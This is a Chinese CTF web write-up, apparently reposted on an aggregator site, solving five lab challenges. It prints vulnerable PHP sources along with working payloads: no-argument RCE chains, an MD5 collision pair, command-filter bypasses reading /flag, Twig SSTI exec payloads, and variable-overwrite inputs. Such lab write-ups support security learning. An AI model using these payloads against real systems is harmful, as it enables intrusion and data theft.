1、[GXYCTF2019]禁止套娃 1
考點(diǎn):git 泄露
進(jìn)入靶場(chǎng)后只有一串文字,源代碼、抓包之類(lèi)的都沒(méi)有敏感信息出現(xiàn),直接用 kali 的 dirsearch 掃描
發(fā)現(xiàn)存在 .git 目錄,猜測(cè)應(yīng)該是源碼泄露,使用 GitHack 扒一下源碼,這里我試了很多次,前面都沒(méi)成功,后面不知道為什么又成功了,應(yīng)該是網(wǎng)絡(luò)問(wèn)題(你們?cè)嚵瞬恍卸嘣噹状伟桑。?/p>
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點(diǎn)哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
【代碼審計(jì)】
這條 if 語(yǔ)句把 PHP 偽協(xié)議、filter 協(xié)議、data 協(xié)議,給過(guò)濾掉了
這里其實(shí)是無(wú)參數(shù) REC 的特征
無(wú)參數(shù)讀文件和RCE總結(jié) - 知乎 (zhihu.com)
無(wú)參數(shù)RCE繞過(guò)的詳細(xì)總結(jié)(六種方法)_無(wú)參數(shù)的取反rce-CSDN博客
這里使用 preg_replace 替換匹配到的字符為空,匹配字母和下劃線(xiàn),然后 (?R)? 這個(gè)意思為遞歸整個(gè)匹配模式
所以正則的含義就是匹配無(wú)參數(shù)的函數(shù),內(nèi)部可以無(wú)限嵌套相同的模式(無(wú)參數(shù)函數(shù)),將匹配的替換為空,判斷剩下的是否只有 ' ; '
【舉個(gè)例子】
????????a(b(c())); 可以使用,但是 a('b') 或者 a('b','c') 這種含有參數(shù)的都不能使用,所以我們要使用無(wú)參數(shù)的函數(shù)進(jìn)行文件讀取或者命令執(zhí)行
【解題思路一】
????????正常的可以用 ?exp=print_r(scandir('.')); 來(lái)查看當(dāng)前目錄所有文件名,但是 scandir('.') 包含參數(shù)了,不符合條件,所以需要使用別的函數(shù)來(lái)替代 '.' 。
【第一步】
如何構(gòu)造這個(gè) . 我們可以使用 localeconv () 函數(shù)
localeconv () 返回一包含本地?cái)?shù)字及貨幣格式信息的數(shù)組。而數(shù)組第一項(xiàng)就是
"."
【第二步】
獲取 localeconv () 的第一項(xiàng)(也就是那個(gè) .)
可以使用 current () ,該函數(shù)返回?cái)?shù)組的單元,默認(rèn)取第一個(gè)值。
pos () 是?current () 的別名,也可以用來(lái)獲取第一個(gè)值,reset () 該函數(shù)也是返回?cái)?shù)組第一個(gè)單元的值,如果數(shù)組為空則返回 FALSE
構(gòu)造 payload
?exp=print_r(scandir(pos(localeconv())));
?exp=print_r(scandir(reset(localeconv())));
?exp=print_r(scandir(current(localeconv())));
三個(gè)都試試,一個(gè)被過(guò)濾了用另一個(gè),獲取點(diǎn)的方法也有很多,比如 chr(49) 也是一個(gè)點(diǎn),里面的 49 可以用函數(shù)替代,比如 time () 等等。
由數(shù)組的結(jié)構(gòu)可以看出 flag.php 在數(shù)組的倒數(shù)第二個(gè),我們需要想辦法獲取
可以使用 array_reverse () 把數(shù)組的位置換一下
?exp=print_r(array_reverse(scandir(current(localeconv()))));
flag.php 從倒數(shù)第二個(gè)變到第二個(gè)了,接下來(lái)就可以使用 next () 函數(shù)來(lái)獲取該元素。next () 輸出數(shù)組中的當(dāng)前元素和下一個(gè)元素的值,當(dāng)前元素是 index.php ,下一個(gè)元素也就是 flag.php?
最后就差一個(gè)讀取文件的函數(shù)了,可以讀取文件的函數(shù)有 readfile ()、highlight_file () 、file_get_contents () 等。通過(guò)代碼我們看到已經(jīng)給我們提供了?highlight_file () 函數(shù)了,直接用它就好了。
構(gòu)造 payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
注意: print_r 在這里就不要了,這里我們需要直接讀取文件, print_r 的作用只是打印數(shù)組的結(jié)構(gòu),然我們更直觀(guān)看到 flag.php 在數(shù)組中的位置
【解題思路二】
????????上面的正則過(guò)濾中,并沒(méi)有過(guò)濾掉 session_id () 。所以我們可以使用 session_id () 來(lái)獲取 flag。session_id () 可以用來(lái)獲取 / 設(shè)置當(dāng)前會(huì)話(huà) ID,我們?cè)谑褂?session_id () 的時(shí)候,需要使用 session_start () 來(lái)開(kāi)啟 session 會(huì)話(huà)
PHPSESSID 是什么?-曉白博客網(wǎng) (xbnb.cn)
payload:
?exp=highlight_file(session_id(session_start()));
然后抓包,在最后一行添加
cookie:PHPSESSID=flag.php
發(fā)送即可在響應(yīng)處獲得 flag
2、[安洵杯 2019]easy_web 1
考點(diǎn):編碼轉(zhuǎn)換 + 代碼審計(jì) + MD5強(qiáng)碰撞
進(jìn)入靶場(chǎng),看到 URL 有 cmd 參數(shù),猜測(cè)是命令注入漏洞
嘗試無(wú)果,應(yīng)該是方向錯(cuò)了,然后發(fā)現(xiàn)后面有一串 base64 編碼的字符串,去解個(gè)碼,base64 解碼兩次得到十六進(jìn)制字符串
再進(jìn)行十六進(jìn)制轉(zhuǎn)ASCII
在線(xiàn)16進(jìn)制字符串轉(zhuǎn)ASCII碼工具 - 在線(xiàn)工具網(wǎng) (hiofd.com)
是一張圖片,我們?cè)囋嚢?flag.php 編碼成上面的格式,得到?
TmpZMll6WXhOamN5WlRjd05qZzNNQT09
訪(fǎng)問(wèn)后得到這個(gè)頁(yè)面,顯示 no flag,不過(guò)思路這樣應(yīng)該是對(duì)的
flag.php 不行就試試其他的,比如 index.php 這些
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
這個(gè)其實(shí)挺難想到的,開(kāi)始我也沒(méi)想到,看了大佬 wp 才知道,因?yàn)榍懊嬗袀€(gè)地方干擾到我了,這一串我前面試了很多又是解碼又是轉(zhuǎn)圖片轉(zhuǎn)文件都沒(méi)解出來(lái),我以為這個(gè)位置的數(shù)據(jù)沒(méi)什么用,導(dǎo)致后面沒(méi)去理這塊地方(沒(méi)猜錯(cuò)的話(huà)應(yīng)該是這個(gè)熊貓圖的編碼,不過(guò)不知道為什么轉(zhuǎn)碼轉(zhuǎn)不出來(lái))
回歸正題
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
【代碼審計(jì)】
對(duì) img 的值先轉(zhuǎn)十六進(jìn)制再進(jìn)行兩類(lèi) base64 編碼,前面我們已經(jīng)分析過(guò)了
正則過(guò)了 URL ,然后過(guò)濾掉 flag (大小寫(xiě)不敏感)
如果符合條件就把數(shù)據(jù)打印出來(lái)
就是這里,前面沒(méi)有源碼我們只能猜測(cè),現(xiàn)在有源碼一切都清楚了
下面的代碼把 cmd 一些常用的命令過(guò)濾掉了
下面代碼的意思是 a,b 兩個(gè)變量的值不同,但是經(jīng)過(guò) MD5 加密后值強(qiáng)比較要相同,這個(gè)百度一下就可以了
md5強(qiáng)比較的幾種繞過(guò),強(qiáng)碰撞,shal強(qiáng)比較的幾種繞過(guò),強(qiáng)碰撞-CSDN博客
這里因?yàn)檗D(zhuǎn)為了 string 所以要使用強(qiáng)碰撞繞過(guò),不能使用數(shù)組繞過(guò)
抓包這里搞死了,我弄了好久不知道為什么都不行,get 改成 post 也不行,一直顯示?md5 is funny ~ 后來(lái)去小破站看了大佬的講解視頻才解決,先使用瀏覽器的工具 HackBar 或者 Max HackBar 都可以,在傳的時(shí)候進(jìn)行抓包就可以解決這個(gè)問(wèn)題了
這里幫大家找了兩個(gè),直接用就可以了
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
打開(kāi) Max HackBar 在 Execution 的時(shí)候進(jìn)行抓包,就不需要手動(dòng)修改傳參方式,前面應(yīng)該是這里的問(wèn)題,導(dǎo)致我一直無(wú)法成功,但是會(huì)發(fā)現(xiàn)之前傳 a、b 值里的 % 變成了 %25 ,被轉(zhuǎn)碼了
我們只需要重新傳 a、b 的值就好了
發(fā)現(xiàn)已經(jīng)繞過(guò) MD5 了
接下來(lái)就是使用 cmd 命令來(lái)獲取 flag ,由于 cmd 大部分命令被過(guò)濾了,我們不能直接使用,比如 ls 我們可以使用 l\s 來(lái)繞過(guò),注意在 Burp 中?空格 要用 %20 來(lái)代替
發(fā)現(xiàn) flag,用命令獲取
ca\t%20/flag
3、[BJDCTF2020]Mark loves cat 1
考點(diǎn):git 泄露 + 變量覆蓋
進(jìn)入靶場(chǎng),頁(yè)面和源碼沒(méi)什么提示,很接近實(shí)戰(zhàn)的題目,那就直接用 dirsearch 掃目錄,發(fā)現(xiàn)存在 .git 目錄,猜測(cè)是 git 泄露
使用 GitHack 提取源碼,我在 kali 的 GitHack 提了半天,沒(méi)開(kāi)玩笑,我快哭了,后面直接換 window 提出來(lái)了。。。。。。
flag.php 內(nèi)容
<?php
$flag = file_get_contents('/flag');
index.php 拉倒最后就可以看到 PHP 代碼了
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
【代碼審計(jì)】
存在 flag.php 文件,但是直接訪(fǎng)問(wèn)是得不到的,應(yīng)該是被過(guò)濾了,我們往下分析代碼
foreach () 語(yǔ)句將遍歷數(shù)組 array,每次循環(huán)時(shí),將當(dāng)前數(shù)組中的值賦給 value (或者 key 和 value),同時(shí),數(shù)組指針向后移動(dòng)知道遍歷結(jié)束。使用 foreach 語(yǔ)句時(shí),數(shù)組指針將自動(dòng)被重置,所以不需要手動(dòng)設(shè)置指針位置
foreach 有兩種語(yǔ)法
語(yǔ)法一:
<?php
$abc = array("porsche","nba","volvo");
foreach($abc as $key)
echo "$key.<br>";
?>
//結(jié)果
/*
porsche
nba
volvo
*/
語(yǔ)法二:
<?php
$age=array("kali"=>"12,"ruoc"=>"56","yuy"=>"57");
foreach($age as $x=>$a_value){
echo "key=" . $x . ", value=" . $a_value;
echo "<br>";
}
?>
//結(jié)果
/*
key= kali , value= 12
key= ruoc , value= 56
key= yuy , value= 57
*/
意思就是傳入的 POST 值會(huì)經(jīng)過(guò)這里,比如傳入 flag=flag,得到 $x=flag,$y=flag,經(jīng)過(guò)下面的代碼后變成 $$x => $flag ;?$$x = $y 就變成?$flag?= flag
傳入的 GET 值會(huì)經(jīng)過(guò)這里,比如傳入 is=flag,得到 $x=is,$y=flag,經(jīng)過(guò)下面的代碼,變成 $is=$flag
($x 保存的是鍵名,$y 保存的是鍵值,不理解的看看上面 foreach 語(yǔ)法的方法二)
這里的意思是要你傳入 flag 變量,且變量值不能為 flag
exit () PHP內(nèi)置函數(shù),用于輸出消息并終止當(dāng)前腳本
要滿(mǎn)足 POST 和 GET 方法的參數(shù) flag 都不存在才會(huì)執(zhí)行代碼塊
滿(mǎn)足 POST 或者 GET 方法的參數(shù) flag=flag,才會(huì)執(zhí)行 exit()
由最后一行我們可以知道 flag 變量里面保存的是 flag 值
其實(shí)本題的做法就是構(gòu)造變量值,經(jīng)過(guò)前面 foreach 的操作使 exit 中的參數(shù)變成變量 $flag(也就是變量覆蓋),使其滿(mǎn)足三個(gè) if 條件中的一個(gè),從而執(zhí)行 $flag 得到 flag,而不是說(shuō)要繞過(guò)三個(gè) if ,去執(zhí)行最后一行代碼,這是不現(xiàn)實(shí)的。
演示三種方法
一、使其滿(mǎn)足下圖的 if 條件
構(gòu)造 payload
?handsome=flag&flag=handsome
構(gòu)造完先經(jīng)過(guò)下圖代碼后再經(jīng)過(guò)上圖代碼
$x=handsome $y=flag? =>? $handsome=$flag,這樣就實(shí)現(xiàn)了變量覆蓋
當(dāng)輪到下圖代碼的時(shí)候
$x=handsome $y=flag
flag=handsome=$x
所以:flag=handsome && handsome !== 'flag' 滿(mǎn)足條件
二、使其滿(mǎn)足下圖的 if 條件
這里要求不存在 flag 參數(shù),那就比較好辦
直接構(gòu)造
?yds=flag
三、使其滿(mǎn)足下圖的 if 條件
配合這塊代碼
構(gòu)造 payload
?is=flag&flag=flag
經(jīng)過(guò) foreach 后變成 $is=$flag,又因?yàn)?flag=flag 滿(mǎn)足 if 條件,所以 exit($is) 變成 exit($flag) 得到 flag
打開(kāi)源代碼拉倒最后就可以看到了
4、[BJDCTF2020]Cookie is so stable 1
考點(diǎn):模板注入(Twig 模塊)
【SSTI 測(cè)試流程圖】
可以通過(guò)這個(gè)流程圖去測(cè)試,判斷是什么類(lèi)型的模版注入
【解題思路】
進(jìn)入靶場(chǎng),輸入框誰(shuí)便輸入,發(fā)現(xiàn)都原樣輸出了,猜測(cè)是 SSTI 模版注入,接下來(lái)我們需要判斷是什么類(lèi)型的模版注入,輸入 {{7*'7'}},返回結(jié)果是 49
根據(jù)流程圖我們可以判斷出使用的是 Twig 模塊
Twig 模塊注入有固定的格式
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
Twig 模板注入從零到一 - 先知社區(qū) (aliyun.com)
_self 是 Twig 中的全局變量,它會(huì)返回當(dāng)前 \Twig\Template 實(shí)例,并提供了指向 Twig_Environment 的 env 屬性,這樣我們就可以繼續(xù)調(diào)用 Twig_Environment 中的其他方法,從而進(jìn)行 SSTI
【上述方法只在 Twig 1.x 中適用,因?yàn)樵?Twig 2.x 和 3.x 中 _self 的作用發(fā)生了變化,只能返回當(dāng)前實(shí)例名字符串】
我們抓包看一下注入點(diǎn)在哪
發(fā)現(xiàn) cookie 中存在 user 且內(nèi)容是我們輸入的內(nèi)容,猜測(cè)注入點(diǎn)在那里(題目其實(shí)也提醒我們了),重新抓包測(cè)試一下
flag 的位置需要我們猜,不過(guò)這題比較簡(jiǎn)單,直接就出來(lái)了
flag{1fb7c1b8-7fcb-4691-9623-6d8fcd46f976}
5、[WUSTCTF2020]樸實(shí)無(wú)華 1
考點(diǎn):目錄掃描 + 響應(yīng)頭 + 代碼審計(jì) + 命令注入 + 一些繞過(guò)技巧的考察
訪(fǎng)問(wèn)看看
F12 查看一下數(shù)據(jù)包情況,發(fā)現(xiàn) fl4g.php
訪(fǎng)問(wèn)看一下
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉緇忔剰闂寸湅浜?jiǎn)鐪嬫垜鐨勫姏_姏澹?, 涓嶆槸鎯崇湅鏃墮棿, 鍙槸鎯充笉緇忔剰闂?, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡(jiǎn)絀蜂漢鐨勬湰璐ㄩ棶棰?");
}
}else{
die("鍘婚潪媧插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯沖埌榪欎釜CTFer鎷垮埌flag鍚?, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀?, 鎵句竴瀹墮鍘?, 鎶婂帹甯堣槳鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿?, 鍊掍竴鏉暎瑁呯櫧閰?, 鑷村瘜鏈夐亾, 鍒灝忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙?, 浠栨墦浜?jiǎn)涓數(shù)璇? 鎶婁粬涓€瀹跺畨鎺掑埌浜?jiǎn)闈瀷z?");
}else{
die("鍘婚潪媧插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯沖埌榪欓噷, 鎴戝厖瀹炶€屾鎱?, 鏈夐挶浜虹殑蹇箰寰€(xiàn)寰€(xiàn)灝辨槸榪欎箞鐨勬湸瀹炴棤鍗?, 涓旀灟鐕?.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜?");
}
}else{
die("鍘婚潪媧插惂");
}
?>
intval()?函數(shù)用于獲取變量的整數(shù)值。
這一部分是判斷 num 的值,要 num 的值取整后小于 2020 且加一后 大于 2021
這一部分判斷變量 $md5 ,要滿(mǎn)足變量 md5 的值經(jīng)過(guò) md5 加密后與原來(lái)相同(弱比較)
strstr() 函數(shù)搜索字符串在另一字符串中的第一次出現(xiàn)。
【舉個(gè)例子】
<?php
echo strstr("I love Shanghai!","v");
?>
運(yùn)行結(jié)果:
str_ireplace() 函數(shù)替換字符串中的一些字符(不區(qū)分大小寫(xiě))
【舉個(gè)例子】
把字符串 "Hello world!" 中的字符 "WORLD"(不區(qū)分大小寫(xiě))替換成 "Shanghai"
<?php
echo str_ireplace("WORLD","Shanghai","Hello world!");
?>
運(yùn)行結(jié)果:
所以上面代碼的大概意思是用 GET 方法獲取 get_flag 的值然后傳給變量 $get_flag,使用 strstr () 函數(shù)尋找字符串中空格首次出現(xiàn)的位置,如果不存在空格則返回 false ,但是由于前面有個(gè)取反符號(hào),所以不存在空格才是符合條件的。進(jìn)入循環(huán)后,使用 str_ireplace () 函數(shù)將 $get_flag 中的 cat 替換成 wctf2020 ,然后調(diào)用 system () 函數(shù)
【解題思路】
繞過(guò)第一部分的 intval ,intval?函數(shù)參數(shù)填入科學(xué)計(jì)數(shù)法的字符串,會(huì)以 e 前面的數(shù)組作為返回值而對(duì)于科學(xué)計(jì)數(shù)法 + 數(shù)字則會(huì)返回字符串類(lèi)型(只適用 php 7.0 以下的版本)
所以我們構(gòu)造一個(gè)科學(xué)計(jì)數(shù)法的值,payload:'1e4'
1e4 = 10000
所以 intval('1e4') = 1 ;intval('1e4' + 1) = 10001
接下來(lái)要繞過(guò) md5 那一部分,
0e 開(kāi)頭的字符串在參與比較時(shí),會(huì)被當(dāng)做科學(xué)計(jì)數(shù)法,結(jié)果轉(zhuǎn)換為 0,所以我們只需要找到一個(gè)科學(xué)數(shù),然后進(jìn)過(guò) md5 加密后仍然是以 0e 開(kāi)頭的即可
0e215962017
md5(0e215962017) =?0e291242476940776845150308577824
所以
0e215962017 =?0e291242476940776845150308577824
比較過(guò)程變成
0 = 0
構(gòu)造 payload
?num=1e4&md5=0e215962017
根據(jù)打印結(jié)果我們可以判斷出我們確實(shí)繞過(guò)了前兩個(gè)條件
接著構(gòu)造 system 執(zhí)行命令,查看目錄
/fl4g.php?num=1e4&md5=0e215962017&get_flag=ls
由于 cat 被過(guò)濾了,無(wú)法直接查看目標(biāo)文件,我們可以加轉(zhuǎn)義字符來(lái)繞過(guò)
但是又不能出現(xiàn)空格,所以我們還需要繞過(guò)空格?${IFS}$9,接下來(lái)就可以讀取我們的 flag 了
/fl4g.php?num=1e4&md5=0e215962017&get_flag=ca\t${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-828433.html
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-828433.html
到了這里,關(guān)于滲透測(cè)試練習(xí)題解析 4(CTF web)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!